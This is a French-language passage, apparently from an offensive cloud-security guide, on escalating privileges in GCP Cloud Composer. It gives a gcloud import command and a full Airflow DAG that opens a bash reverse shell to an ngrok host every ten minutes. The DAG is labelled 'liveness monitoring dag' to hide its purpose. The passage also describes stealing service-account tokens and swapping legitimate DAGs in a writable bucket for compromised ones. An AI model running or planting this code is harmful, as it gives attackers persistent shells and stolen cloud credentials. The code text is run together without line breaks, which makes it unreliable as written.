Il est possible de lier n'importe quel compte de service à l'environnement composer nouvellement créé avec cette permission. Plus tard, vous pourriez exécuter du code à l'intérieur de composer pour voler le jeton du compte de service.
Ajoutez le code DAG python dans un fichier et importez-le en exécutant :
# TODO: Create dag to get a rev shellgcloudcomposerenvironmentsstoragedagsimport--environmenttest--locationus-central1--source/tmp/dags/reverse_shell.py
DAG de shell inversé :
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Accès en écriture au bucket Composer
Tous les composants d'un environnement composer (DAGs, plugins et données) sont stockés à l'intérieur d'un bucket GCP. Si l'attaquant a des permissions de lecture et d'écriture sur celui-ci, il pourrait surveiller le bucket et chaque fois qu'un DAG est créé ou mis à jour, soumettre une version compromise afin que l'environnement composer récupère la version compromise depuis le stockage.